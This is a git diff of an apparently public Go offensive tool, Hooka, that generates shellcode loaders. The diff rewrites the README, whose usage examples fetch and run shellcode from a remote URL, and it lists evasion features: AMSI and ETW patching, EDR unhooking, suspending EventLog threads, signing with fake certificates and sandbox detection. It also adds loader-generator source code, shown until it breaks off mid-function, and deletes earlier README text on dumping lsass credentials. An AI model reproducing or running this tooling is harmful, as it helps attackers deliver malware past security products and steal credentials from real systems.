diff --git a/CHANGELOG.md b/CHANGELOG.md deleted file mode 100644 index bf691d0..0000000 --- a/CHANGELOG.md +++ /dev/null @@ -1,30 +0,0 @@ -- Merge pull request #3 from D3Ext/dependabot/go_modules/golang.org/x/sys-0.12.0 -- Bump golang.org/x/sys from 0.8.0 to 0.12.0 -- Merge pull request #4 from D3Ext/dependabot/go_modules/github.com/google/uuid-1.3.1 -- Bump github.com/google/uuid from 1.3.0 to 1.3.1 -- Merge pull request #2 from D3Ext/dependabot/go_modules/github.com/D3Ext/maldev-0.1.4 -- Merge branch 'main' of https://github.com/D3Ext/Hooka -- ACG supported, examples added, Makefile, README update and typos fixed -- Bump github.com/D3Ext/maldev from 0.1.3 to 0.1.4 -- Create dependabot.yml -- weird package error, undefines RtlCreateUserThread -- little fix -- new features, shellcode injection techniques, fixes and much more -- little change -- UAC bypass, anti-sandbox functions, general improvements and more -- new TODOs -- remote dll support -- remove unnecessary lines - little changes -- little changes -- v0.1 - major changes, firex, code improvement and more -- halo's gate, uuidfromstring injection, more CLI flags and more -- stable amsi patch, more functions and other improvements -- new example images added -- updated README.md -- issue templates added -- more functions and implementations -- initial commit -- Create FUNDING.yml -- Update README.md -- Update README.md -- Initial commit diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md deleted file mode 100644 index c7bedb0..0000000 --- a/CODE_OF_CONDUCT.md +++ /dev/null @@ -1,74 +0,0 @@ -# Contributor Covenant Code of Conduct - -## Our Pledge - -In the interest of fostering an open and welcoming environment, we as -contributors and maintainers pledge to making participation in our project and -our community a harassment-free experience for everyone, regardless of age, body -size, disability, ethnicity, gender identity and expression, level of experience, -education, socio-economic status, nationality, personal appearance, race, -religion, or sexual identity and orientation. - -## Our Standards - -Examples of behavior that contributes to creating a positive environment -include: - -* Using welcoming and inclusive language -* Being respectful of differing viewpoints and experiences -* Gracefully accepting constructive criticism -* Focusing on what is best for the community -* Showing empathy towards other community members - -Examples of unacceptable behavior by participants include: - -* The use of sexualized language or imagery and unwelcome sexual attention or - advances -* Trolling, insulting/derogatory comments, and personal or political attacks -* Public or private harassment -* Publishing others' private information, such as a physical or electronic - address, without explicit permission -* Other conduct which could reasonably be considered inappropriate in a - professional setting - -## Our Responsibilities - -Project maintainers are responsible for clarifying the standards of acceptable -behavior and are expected to take appropriate and fair corrective action in -response to any instances of unacceptable behavior. - -Project maintainers have the right and responsibility to remove, edit, or -reject comments, commits, code, wiki edits, issues, and other contributions -that are not aligned to this Code of Conduct, or to ban temporarily or -permanently any contributor for other behaviors that they deem inappropriate, -threatening, offensive, or harmful. - -## Scope - -This Code of Conduct applies both within project spaces and in public spaces -when an individual is representing the project or its community. Examples of -representing a project or community include using an official project e-mail -address, posting via an official social media account, or acting as an appointed -representative at an online or offline event. Representation of a project may be -further defined and clarified by project maintainers. - -## Enforcement - -Instances of abusive, harassing, or otherwise unacceptable behavior may be -reported by contacting the project team at [d3ext@proton.me]. All -complaints will be reviewed and investigated and will result in a response that -is deemed necessary and appropriate to the circumstances. The project team is -obligated to maintain confidentiality with regard to the reporter of an incident. -Further details of specific enforcement policies may be posted separately. - -Project maintainers who do not follow or enforce the Code of Conduct in good -faith may face temporary or permanent repercussions as determined by other -members of the project's leadership. - -## Attribution - -This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, -available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html - -[homepage]: https://www.contributor-covenant.org - diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md deleted file mode 100644 index bc70313..0000000 --- a/CONTRIBUTING.md +++ /dev/null @@ -1,36 +0,0 @@ -# Contributing to Hooka - -Contributions are welcomed! This document provides some basic guidelines for contributors. - -## Found a bug? - -- Before creating a Pull Request (PR), make sure there is a corresponding issue for your contribution. If there isn't one already, please create one. -- Include the problem description in the issue. - -## Pull Requests - -When creating a PR, please follow these guidelines: - -- Link your PR to the corresponding issue. -- Provide context in the PR description to help reviewers understand the changes. The more information you provide, the faster the review process will be. -- Include an example of running the tool with the changed code, if applicable. Provide 'before' and 'after' examples if possible. -- Include steps for functional testing or replication. - -## Code Style - -- Please run `go fmt ./...` before committing to ensure code aligns with go standards. -- Ensure to lint your code before submitting PR -- All dependencies must be defined in the go.mod file -- Check [https://go.dev/doc/effective_go](https://go.dev/doc/effective_go) for further details - -## Questions - -If you have any questions or need further guidance, please feel free to ask in the issue or PR, or reach out to the author via Discord: ***@d3ext*** - -Thank you for your contribution! - -## License - -By contributing your code, you agree to license your contribution under the terms of the [MIT License](https://github.com/D3Ext/Hooka/blob/main/LICENSE). - -All files are released with the MIT license. diff --git a/LICENSE b/LICENSE index 6657595..494404a 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2023 D3Ext +Copyright (c) 2024 D3Ext Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/Makefile b/Makefile index 0d11d3d..9103264 100644 --- a/Makefile +++ b/Makefile @@ -1,9 +1,32 @@ -CC = go +EXECUTABLE=hooka +WINDOWS=$(EXECUTABLE)_windows_amd64.exe +LINUX=$(EXECUTABLE)_linux_amd64 +DARWIN=$(EXECUTABLE)_darwin_amd64 -all: - mkdir build/ - export CGO_ENABLED=0 - GOARCH=amd64 GOOS=windows $(CC) build -o build/hooka-amd64-windows.exe main.go +.PHONY: all clean + +all: build ## Build all + +build: windows linux darwin ## Build binaries + +windows: $(WINDOWS) ## Build for Windows + +linux: $(LINUX) ## Build for Linux + +darwin: $(DARWIN) ## Build for Darwin (macOS) + +$(WINDOWS): + GOOS=windows GOARCH=amd64 go build -o build/$(WINDOWS) -ldflags="-s -w -X main.version=$(VERSION)" ./cmd/main.go + +$(LINUX): + GOOS=linux GOARCH=amd64 go build -o build/$(LINUX) -ldflags="-s -w -X main.version=$(VERSION)" ./cmd/main.go + +$(DARWIN): + GOOS=darwin GOARCH=amd64 go build -o build/$(DARWIN) -ldflags="-s -w -X main.version=$(VERSION)" ./cmd/main.go + +clean: ## Remove previous build + rm -f build/$(WINDOWS) build/$(LINUX) build/$(DARWIN) + +help: ## Display available commands + @grep -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}' -clean: - rm -rf build/ diff --git a/README.md b/README.md index 76973e7..58752bc 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,6 @@
-
@@ -31,180 +25,160 @@ Features • Usage • Library • - Contributing • Disclaimer
# Introduction -I started this project to create a powerful shellcode loader with a lot of malleable capabilities via CLI flags like detecting hooked functions, using Hell's and Galo's Gate techniques and more. Why in Golang? Because it's a great language to develop malware and this project can help with it by providing an stable API with some functions which can be really useful. If you have any question feel free to open an issue or whatever you want. - -However I've also taken some code from [BananaPhone](https://github.com/C-Sto/BananaPhone) and [Doge-Gabh](https://github.com/timwhitez/Doge-Gabh) projects (thanks a lot to ***C-Sto*** and ***timwhitez***) - -***Tested on x64, Windows 10*** +Hooka is able to generate shellcode loaders with multiple capabilities. It is also based on other tools like [BokuLoader](https://github.com/boku7/BokuLoader), [Freeze](https://github.com/optiv/Freeze) or [Shhhloader](https://github.com/icyguider/Shhhloader), and it tries to implement more evasion features. Why in Golang? Why not? # Features -- Get shellcode from remote URL or local file -- Shellcode reflective DLL injection (***sRDI***) -- ***AMSI*** and ***ETW*** patch -- ***Phant0m*** technique to kill EventLog threads (see [here](https://github.com/hlldz/Phant0m)) -- Detects hooked functions (i.e. NtCreateThread) -- Compatible with base64 and hex encoded shellcode -- Hell's Gate + Halo's Gate technique -- Capable of unhooking user-mode syscalls via multiple techniques: - - Classic unhooking - - Full DLL unhooking - - Perun's Fart technique +This tool is able to generate loaders with this features: - Multiple shellcode injection techniques: - - CreateRemoteThread - - CreateProcess - - EnumSystemLocales - - Fibers - - QueueUserApc - - UuidFromString + - SuspendedProcess + - ProcessHollowing + - NtCreateThreadEx - EtwpCreateEtwThread - - RtlCreateUserThread + - NtQueueApcThreadEx + - No-RWX -- Inject shellcode into a process (not stable and only works via CreateRemoteThread technique) -- Dump lsass.exe process to a file +- Get shellcode from raw file, PE, DLL or from a URL +- EXE and DLL are supported as output loader formats + +- Encrypt shellcode using: + - AES + - 3DES + - RC4 + - XOR + +- AMSI and ETW patching (enabled by default) +- Random variables and function names +- Shikata Ga Nai obfuscation (see [here](https://github.com/EgeBalci/sgn)) +- Multiple ways to detect sandboxing +- Enable ACG Guard protection +- Block non-Microsoft signed DLLs from injecting into created processes + +- Capable of unhooking user-mode hooks via multiple techniques: + - Classic + - Full DLL + - Perun's Fart technique + +- ***Phant0m*** technique to suspend EventLog threads (see [here](https://github.com/hlldz/Phant0m)) - Windows API hashing (see [here](https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware)) -- Test mode (injects calc.exe shellcode) - -- All already mentioned features available through official package API - -***This repo is under development so it may contain errors, use it under your own responsability for legal testing purposes*** +- Sign shellcode loader with fake or real certificates +- Strings obfuscation via Caesar cipher (see [here](https://en.wikipedia.org/wiki/Caesar_cipher)) +- Compress code weight using Golang compile and UPX (if it's installed) +- Compute binary entropy of the loader +- Compute MD5, SHA1 and SHA256 checksums to keep track of the loader # Installation -- Just clone the repository like this: +Just clone the repository like this: ```sh -git clone https://github.com/D3Ext/Hooka -cd Hooka -make +$ git clone https://github.com/D3Ext/Hooka +$ cd Hooka +$ make ``` +After that you will find the binary under the `build/` folder + # Usage -Before using the project you should know that there are some functions from `ntdll.dll` that aren't usually hooked but they always appear to be hooked. Here you have all false positives: - -``` -NtGetTickCount -NtQuerySystemTime -NtdllDefWindowProc_A -NtdllDefWindowProc_W -NtdllDialogWndProc_A -NtdllDialogWndProc_W -ZwQuerySystemTime -``` - -- Let's see some examples - > Help panel -``` -``` - -> Detect hooked functions by EDR (including false positives) ```sh -.\Hooka.exe --hooks + _ _ _ _ + | | | | ___ ___ | | __ __ _ | | + | |_| | / _ \ / _ \ | |/ / / _` | | | + | _ | | (_) | | (_) | | < | (_| | |_| + |_| |_| \___/ \___/ |_|\_\ \__,_| (_) + +Usage of Hooka: + REQUIRED: + -i, --input string payload to inject in raw format, as PE, as DLL or from a URL + -o, --output string name of output file (i.e. loader.exe) + -f, --format string format of the payload to generate (available: exe, dll) (default exe) + + EXECUTION: + --proc string process to spawn (in suspended state) when needed for given execution technique (default notepad.exe) + --exec string technique used to load shellcode (default "SuspendedProcess"): + SuspendedProcess + ProcessHollowing + NtCreateThreadEx + EtwpCreateEtwThread + NtQueueApcThreadEx + No-RWX + + AUXILIARY: + -a, --arch string architecture of the loader to generate (default amd64) + -c, --cert string certificate to sign generated loader with (i.e. cert.pfx) + -d, --domain string domain used to sign loader (i.e. www.microsoft.com) + + ENCODING: + --enc string encrypts shellcode using given algorithm (available: aes, 3des, rc4, xor) (default none) + --sgn use Shikata Ga Nai to encode generated loader (it must be installed on path) + --strings obfuscate strings using Caesar cipher + + EVASION: + --unhook string unhooking technique to use (available: full, peruns) + --sandbox enable sandbox evasion + --no-amsi don't patch AMSI + --no-etw don't patch ETW + --hashing use hashes to retrieve function pointers + --acg enable ACG Guard to prevent AV/EDR from modifying existing executable code + --blockdlls prevent non-Microsoft signed DLLs from injecting in child processes + --phantom suspend EventLog threads using Phant0m technique. High privileges needed, otherwise loader skips this step + --sleep delay shellcode execution using a custom sleep function + + EXTRA: + --calc use a calc.exe shellcode to test loader capabilities (don't provide input file) + --compress compress generated loader using Golang compiler and UPX if it's installed + -r, --rand use a random set of parameters to create a random loader (just for testing purposes) + -v, --verbose enable verbose to print extra information + -h, --help print help panel + +Examples: + hooka -i shellcode.bin -o loader.exe + hooka -i http://192.168.1.126/shellcode.bin -o loader.exe + hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep 60 --acg + hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose ``` -> Test shellcode injection by spawning a calc.exe +> Generate a simple EXE loader ```sh -.\Hooka.exe --test +$ hooka_linux_amd64 -i shellcode.bin -o loader.exe ``` -> Inject shellcode from URL or file +> Generate a DLL loader ```sh -.\Hooka.exe --url http://192.168.116.37/shellcode.bin -.\Hooka.exe --file shellcode.bin +$ hooka_linux_amd64 -i shellcode.bin -o loader.dll -f dll ``` -> Shellcode reflective dll injection (***sRDI***) +> Use custom config (various examples) ```sh -.\Hooka.exe --dll evil.dll,xyz -.\Hooka.exe --remote-dll http://192.168.1.37/evil.dll,xyz +$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --hashing --agc --sleep --verbose +$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --exec ProcessHollowing --sgn --strings --blockdlls +$ hooka_linux_amd64 -i http://xx.xx.xx.xx/shellcode.bin --sandbox --sleep --domain www.microsoft.com --verbose ``` -> Inject shellcode into remote process (i.e. werfault.exe) **Not all techniques covered!!** -```sh -.\Hooka.exe --url http://192.168.116.37/shellcode.bin --pid 5864 -``` - -> Decode shellcode as hex or base64 -```sh -.\Hooka.exe --file shellcode.bin --hex -.\Hooka.exe --file shellcode.bin --b64 -``` - -> Use Hell's Gate + Halo's Gate to bypass AVs/EDRs -```sh -.\Hooka.exe -t CreateRemoteThreadHalos --url http://192.168.116.37/shellcode.bin -``` - -> Unhook function before injecting shellcode -```sh -.\Hooka.exe --file shellcode.bin --unhook 3 -``` - -> Patch AMSI and/or ETW -```sh -.\Hooka.exe --amsi --url http://192.168.116.37/shellcode.bin -.\Hooka.exe --etw --url http://192.168.116.37/shellcode.bin -``` - -> Kill EventLog service threads (run as admin) -```sh -.\Hooka.exe --phantom -``` - -> Dump lsass.exe memory to extract credentials (run as admin) -```sh -.\Hooka.exe --lsass dump.tmp -``` - -As you can see Hooka provides a lot of CLI flags to help you in all kind of situations - # Demo -> Detecting hooks -
+
-> Injecting shellcode via CreateRemoteThread technique
-
-
-> Injecting shellcode using custom flags
-
-
-> Test function
-
-
-> Dump lsass memory
-
+
# TODO
-:ballot_box_with_check: Block other processes to open our process like [BlockOpenHandle](https://github.com/TheD1rkMtr/BlockOpenHandle)
-
-:ballot_box_with_check: Unhook patch (write bytes)
-
-:black_square_button: `--pid` flag to handle process injection
-
-:ballot_box_with_check: Function to find PIDs which haven't loaded a given DLL (i.e. umppc16606.dll)
-
-:black_square_button: Remove Windows Defender privileges to make it useless (see [here](https://github.com/plackyhacker/SandboxDefender))
-
-:black_square_button: Test unhooking functions against EDRs
+- Add direct and indirect syscall
+- Add Chacha20 cypher to encrypt shellcode
+- More OPSEC features
+- General improvement
# Library
-To use the official package API see [here](https://github.com/D3Ext/Hooka/tree/main/examples) and [here](https://github.com/D3Ext/Hooka/tree/main/pkg/hooka)
-
-# Contributing
-
-See [CONTRIBUTING.md](https://github.com/D3Ext/Hooka/blob/main/CONTRIBUTING.md)
+The official Golang package has most of the already mentioned features and some others. To make use of it, see [here](https://github.com/D3Ext/Hooka/tree/main/examples) and [here](https://github.com/D3Ext/Hooka/tree/main/pkg/hooka)
# References
@@ -214,10 +188,16 @@ You can take a look at some of the mentioned techniques here:
https://github.com/C-Sto/BananaPhone
https://github.com/timwhitez/Doge-Gabh
https://github.com/Ne0nd0g/go-shellcode
+https://github.com/optiv/Freeze
+https://github.com/f1zm0/acheron
+https://github.com/Enelg52/OffensiveGo
https://github.com/trickster0/TartarusGate
https://github.com/Kara-4search/HookDetection_CSharp
https://github.com/RedLectroid/APIunhooker
https://github.com/plackyhacker/Peruns-Fart
+https://github.com/rasta-mouse/TikiTorch
+https://github.com/phra/PEzor
+https://github.com/S1ckB0y1337/Cobalt-Strike-CheatSheet
https://github.com/chvancooten/maldev-for-dummies
https://blog.sektor7.net/#!res/2021/perunsfart.md
https://teamhydra.blog/2020/09/18/implementing-direct-syscalls-using-hells-gate/
@@ -225,28 +205,18 @@ https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscal
https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
https://www.ired.team/offensive-security/defense-evasion/retrieving-ntdll-syscall-stubs-at-run-time
https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
+https://winternl.com/detecting-manual-syscalls-from-user-mode/
```
# Disclaimer
-Creator has no responsibility for any kind of:
-
-- Illegal use of the project.
-- Law infringement by third parties and users.
-- Malicious act, capable of causing damage to third parties, promoted by the user through this software.
-
-# Changelog
-
-See [CHANGELOG.md](https://github.com/D3Ext/Hooka/blob/main/CHANGELOG.md)
+Use this project under your own responsability! The author is not responsible of any bad usage of the project.
# License
This project is under [MIT](https://github.com/D3Ext/Hooka/blob/main/LICENSE) license
-Copyright © 2023, *D3Ext*
-
-# Support
-
-
+Copyright © 2024, *D3Ext*
+
diff --git a/assets/crt.png b/assets/crt.png
deleted file mode 100644
index 43d6074..0000000
Binary files a/assets/crt.png and /dev/null differ
diff --git a/assets/custom.png b/assets/custom.png
deleted file mode 100644
index 85d2a1f..0000000
Binary files a/assets/custom.png and /dev/null differ
diff --git a/assets/demo1.png b/assets/demo1.png
new file mode 100644
index 0000000..5c361c2
Binary files /dev/null and b/assets/demo1.png differ
diff --git a/assets/demo2.png b/assets/demo2.png
new file mode 100644
index 0000000..6607568
Binary files /dev/null and b/assets/demo2.png differ
diff --git a/assets/gopher.png b/assets/gopher.png
deleted file mode 100644
index d6b03fd..0000000
Binary files a/assets/gopher.png and /dev/null differ
diff --git a/assets/hooks.png b/assets/hooks.png
deleted file mode 100644
index 97962d1..0000000
Binary files a/assets/hooks.png and /dev/null differ
diff --git a/assets/lsass.png b/assets/lsass.png
deleted file mode 100644
index e967932..0000000
Binary files a/assets/lsass.png and /dev/null differ
diff --git a/assets/test.png b/assets/test.png
deleted file mode 100644
index 0a84893..0000000
Binary files a/assets/test.png and /dev/null differ
diff --git a/cmd/main.go b/cmd/main.go
new file mode 100644
index 0000000..64268d1
--- /dev/null
+++ b/cmd/main.go
@@ -0,0 +1,3607 @@
+package main
+
+import (
+ "fmt"
+ "flag"
+ "os/exec"
+ "strings"
+ "os"
+ "io/ioutil"
+ "strconv"
+ "log"
+ "errors"
+ "bytes"
+ "time"
+ math_rand "math/rand"
+ "encoding/hex"
+ "text/template"
+ crypto_rand "crypto/rand"
+ "crypto/rsa"
+ "crypto/tls"
+ "crypto/x509"
+ "crypto/x509/pkix"
+ "encoding/pem"
+
+ "github.com/D3Ext/Hooka/utils"
+ "github.com/Binject/go-donut/donut"
+)
+
+// define the template which will hold all the variables and function names
+type LoaderTemplate struct {
+ Vars map[string]string
+}
+
+// function to print the banner
+func banner(){
+ fmt.Println(" _ _ _ _")
+ fmt.Println(" | | | | ___ ___ | | __ __ _ | |")
+ fmt.Println(" | |_| | / _ \\ / _ \\ | |/ / / _` | | |")
+ fmt.Println(" | _ | | (_) | | (_) | | < | (_| | |_|")
+ fmt.Println(" |_| |_| \\___/ \\___/ |_|\\_\\ \\__,_| (_)")
+}
+
+// function to print the help panel
+func help_panel(){
+ fmt.Println(`
+Usage of Hooka:
+ REQUIRED:
+ -i, --input string payload to inject in raw format, as PE, as DLL or from a URL
+ -o, --output string name of output file (i.e. loader.exe)
+ -f, --format string format of the payload to generate (available: exe, dll) (default exe)
+
+ EXECUTION:
+ --proc string process to spawn (in suspended state) when needed for given execution technique (default notepad.exe)
+ --exec string technique used to load shellcode (default "SuspendedProcess"):
+ SuspendedProcess
+ ProcessHollowing
+ NtCreateThreadEx
+ EtwpCreateEtwThread
+ NtQueueApcThreadEx
+ No-RWX
+
+ AUXILIARY:
+ -a, --arch string architecture of the loader to generate (default amd64)
+ -c, --cert string certificate to sign generated loader with (i.e. cert.pfx)
+ -d, --domain string domain used to sign loader (i.e. www.microsoft.com)
+
+ ENCODING:
+ --enc string encrypts shellcode using given algorithm (available: aes, 3des, rc4, xor) (default none)
+ --sgn use Shikata Ga Nai to encode generated loader (it must be installed on path)
+ --strings obfuscate strings using Caesar cipher
+
+ EVASION:
+ --unhook string unhooking technique to use (available: full, peruns)
+ --sandbox enable sandbox evasion
+ --no-amsi don't patch AMSI
+ --no-etw don't patch ETW
+ --hashing use hashes to retrieve function pointers
+ --acg enable ACG Guard to prevent AV/EDR from modifying existing executable code
+ --blockdlls prevent non-Microsoft signed DLLs from injecting in child processes
+ --phantom suspend EventLog threads using Phant0m technique. High privileges needed, otherwise loader skips this step
+ --sleep delay shellcode execution using a custom sleep function
+
+ EXTRA:
+ --calc use a calc.exe shellcode to test loader capabilities (don't provide input file)
+ --compress compress generated loader using Golang compiler and UPX if it's installed
+ -r, --rand use a random set of parameters to create a random loader (just for testing purposes)
+ -v, --verbose enable verbose to print extra information
+ -h, --help print help panel
+
+Examples:
+ hooka -i shellcode.bin -o loader.exe
+ hooka -i http://192.168.1.126/shellcode.bin -o loader.exe
+ hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep 60 --acg
+ hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose
+`)
+}
+
+// define shellcode injection techniques
+// there are multiple names defined for every technique
+// as the names may be a little bit confussing
+var techniques []string = []string{"ntcreatethreadex", "ntcreatethread", "suspendedprocess", "etwpcreateetwthread", "processhollowing", "no-rwx", "nrwx", "norwx", "ntqueueapcthreadex"}
+
+var buffer bytes.Buffer
+
+func main() {
+ // define variables that will hold CLI arguments values
+ var input_file, output_file, format, arch, exec_technique, unhook, cert, domain, encrypt, process string
+ var sgn, str_obfs, sandbox, noamsi, noetw, hashing, acg, blockdlls, phantom, sleep_time, calc, compress, rand, verbose, help bool
+
+ // Main arguments
+ flag.StringVar(&input_file, "i", "", "")
+ flag.StringVar(&input_file, "input", "", "")
+ flag.StringVar(&output_file, "o", "", "")
+ flag.StringVar(&output_file, "output", "", "")
+ flag.StringVar(&format, "f", "exe", "")
+ flag.StringVar(&format, "format", "exe", "")
+ flag.StringVar(&arch, "a", "amd64", "")
+ flag.StringVar(&arch, "arch", "amd64", "")
+
+ // Executing shellcode
+ flag.StringVar(&exec_technique, "exec", "suspendedprocess", "")
+ flag.StringVar(&process, "proc", "C:\\Windows\\System32\\notepad.exe", "")
+
+ // Auxiliary options
+ flag.StringVar(&cert, "c", "", "")
+ flag.StringVar(&cert, "cert", "", "")
+ flag.StringVar(&domain, "d", "", "")
+ flag.StringVar(&domain, "domain", "", "")
+
+ // Encoding
+ flag.StringVar(&encrypt, "enc", "", "")
+ flag.BoolVar(&sgn, "sgn", false, "")
+ flag.BoolVar(&str_obfs, "strings", false, "")
+
+ // Evasion
+ flag.StringVar(&unhook, "unhook", "", "")
+ flag.BoolVar(&sandbox, "sandbox", false, "")
+ flag.BoolVar(&noamsi, "no-amsi", false, "")
+ flag.BoolVar(&noetw, "no-etw", false, "")
+ flag.BoolVar(&hashing, "hashing", false, "")
+ flag.BoolVar(&acg, "acg", false, "")
+ flag.BoolVar(&blockdlls, "blockdlls", false, "")
+ flag.BoolVar(&phantom, "phantom", false, "")
+ flag.BoolVar(&sleep_time, "sleep", false, "")
+
+ // Extra
+ flag.BoolVar(&calc, "calc", false, "")
+ flag.BoolVar(&compress, "compress", false, "")
+ flag.BoolVar(&rand, "r", false, "")
+ flag.BoolVar(&rand, "rand", false, "")
+ flag.BoolVar(&verbose, "v", false, "")
+ flag.BoolVar(&verbose, "verbose", false, "")
+ flag.BoolVar(&help, "h", false, "")
+ flag.BoolVar(&help, "help", false, "")
+
+ // parse CLI arguments
+ flag.Parse()
+
+ // check especified parameters values just to check no valid value was provided
+ if (help) {
+ banner()
+ help_panel()
+ os.Exit(0)
+ }
+
+ // check if needed arguments were given
+ if (input_file == "") && (!calc) {
+ banner()
+ help_panel()
+ fmt.Println("[-] Provide a valid input file")
+ os.Exit(1)
+ }
+
+ if (output_file == "") {
+ banner()
+ help_panel()
+ fmt.Println("[-] Provide an output file")
+ os.Exit(1)
+ }
+
+ format = strings.ToLower(format)
+
+ if (format != "exe") && (format != "dll") {
+ banner()
+ help_panel()
+ fmt.Println("[-] Invalid payload format. Available formats: exe, dll")
+ os.Exit(1)
+ }
+
+ // check if file exists
+ _, input_err := os.Stat(input_file)
+
+ if (strings.ToLower(encrypt) != "none") && (strings.ToLower(encrypt) != "") && (strings.HasPrefix(input_file, "http")) && (errors.Is(input_err, os.ErrNotExist)) {
+ banner()
+ help_panel()
+ fmt.Println("[-] Encryption is not available when providing a URL as input")
+ os.Exit(1)
+ }
+
+ if (sgn) && (strings.HasPrefix(input_file, "http")) && (errors.Is(input_err, os.ErrNotExist)) {
+ banner()
+ help_panel()
+ fmt.Println("[-] Shikata Ga Nai is not available when providing a URL as input")
+ os.Exit(1)
+ }
+
+ // Check architecture parameter
+ if (arch != "") && (arch != "amd64") && (arch != "386") {
+ fmt.Println("[-] Provide a valid architecture. Either amd64 or 386")
+ os.Exit(1)
+ }
+
+ var valid_technique bool
+ for _, technique := range techniques {
+ if (strings.ToLower(exec_technique) == technique) {
+ valid_technique = true
+ break
+ }
+ }
+
+ // Check valid values for shellcode execution technique
+ if (!valid_technique) {
+ banner()
+ help_panel()
+ fmt.Println("[-] Provide a valid shellcode execution technique. Default technique is \"SuspendedProcess\"")
+ os.Exit(1)
+ }
+
+ exec_technique = strings.ToLower(exec_technique)
+ unhook = strings.ToLower(unhook)
+ format = strings.ToLower(format)
+
+ // this shellcode execution technique needs unhooking
+ if (exec_technique == "suspendedprocess") {
+ unhook = "peruns"
+ }
+
+ NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, NtQueryInformationThread, NtQueryInformationProcess := GetCallsNames()
+
+ // Check valid values for encryption parameter
+ if (encrypt != "") && (strings.ToLower(encrypt) != "aes") && (strings.ToLower(encrypt) != "3des") && (strings.ToLower(encrypt) != "rc4") && (strings.ToLower(encrypt) != "xor") && (strings.ToLower(encrypt) != "none") {
+ fmt.Println("[-] Provide a valid encryption cipher. Available ciphers: aes, 3des, rc4, xor, none")
+ os.Exit(0)
+ }
+
+ // Check valid values for unhooking parameter
+ if (unhook != "") && (unhook != "full") && (unhook != "peruns") {
+ fmt.Println("[-] Provide a valid unhooking technique. Available techniques: full, peruns")
+ os.Exit(1)
+ }
+
+ if (cert != "") {
+ _, err := os.Stat(cert)
+ if (!errors.Is(err, os.ErrNotExist)) {
+ fmt.Println("[-] Provide an existing certificate")
+ os.Exit(1)
+ }
+ }
+
+ // check if Shikata Ga Nai is installed on path
+ if (sgn) {
+ _, err := exec.LookPath("sgn")
+ if err != nil {
+ fmt.Println("[-] \"sgn\" is not installed on path, visit https://github.com/EgeBalci/sgn to install it")
+ log.Fatal(err)
+ }
+ }
+
+ if (domain != "") || (cert != "") {
+ _, err := exec.LookPath("openssl")
+ if err != nil {
+ fmt.Println("[-] \"openssl\" is not installed on path, it is required to sign the generated loader")
+ log.Fatal(err)
+ }
+
+ _, err = exec.LookPath("osslsigncode")
+ if err != nil {
+ fmt.Println("[-] \"osslsigncode\" is not installed on path, it is required to sign the generated loader")
+ log.Fatal(err)
+ }
+ }
+
+ // Generate a random config if --rand parameter was given
+ if (rand) {
+ fmt.Println("[*] Generating a random set of parameters")
+ encrypt, unhook, noamsi, noetw, sgn, str_obfs, acg, blockdlls, sandbox, phantom, compress, sleep_time = GetRandomConfig()
+ }
+
+ // print banner
+ banner()
+ fmt.Println()
+
+ // define key variables
+ var imports []string
+ var exports []string
+ var functions []string
+ var dlls_to_unhook []string
+ var err error
+
+ // Create template which will hold loader code
+ Main := &LoaderTemplate{}
+ // Define variables list
+ Main.Vars = make(map[string]string)
+ Main.Vars["shellcode"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["enc_shellcode"] = utils.RandomString(utils.RandomInt(9,10))
+
+ var func_name string
+
+ if (format == "dll") {
+ func_name = utils.RandomString(utils.RandomInt(8, 10))
+ }
+
+ // Get shellcode from raw file, from PE or from DLL
+ if (!strings.HasPrefix(input_file, "http")) && (!errors.Is(input_err, os.ErrNotExist)) {
+ fmt.Println("[*] Obtaining shellcode from " + input_file)
+ } else {
+ if (!calc) {
+ fmt.Println("[*] Shellcode will be retrieved from " + input_file + " during execution")
+ } else {
+ fmt.Println("[*] Using calc.exe shellcode")
+ }
+ }
+ time.Sleep(100 * time.Millisecond)
+
+ var shellcode []byte
+ var get_shellcode_from_url_func string
+
+ if (!strings.HasSuffix(input_file, ".dll")) && (!strings.HasSuffix(input_file, ".exe") && (!calc) && (!strings.HasPrefix(input_file, "http"))) && (!errors.Is(input_err, os.ErrNotExist)) {
+ fmt.Println(" > Shellcode is in raw format")
+ time.Sleep(100 * time.Millisecond)
+
+ shellcode, err = utils.GetShellcodeFromFile(input_file)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ } else if (strings.HasSuffix(input_file, ".dll")) {
+ fmt.Println(" > Converting DLL to shellcode (sRDI)")
+ time.Sleep(100 * time.Millisecond)
+
+ shellcode, err = utils.ConvertDllToShellcode(input_file, func_name, "")
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ } else if (strings.HasSuffix(input_file, ".exe")) {
+ fmt.Println(" > Converting EXE to shellcode using Donut")
+ time.Sleep(100 * time.Millisecond)
+
+ config := new(donut.DonutConfig)
+
+ switch strings.ToLower(arch) {
+ case "x32", "386":
+ config.Arch = donut.X32
+ case "x84":
+ config.Arch = donut.X84
+ default:
+ config.Arch = donut.X64
+ }
+
+ config.Bypass = 3
+ config.Compress = uint32(1)
+ config.InstType = donut.DONUT_INSTANCE_PIC
+
+ payload, err := donut.ShellcodeFromFile(input_file, config)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ shellcode = payload.Bytes()
+
+ } else if (calc) {
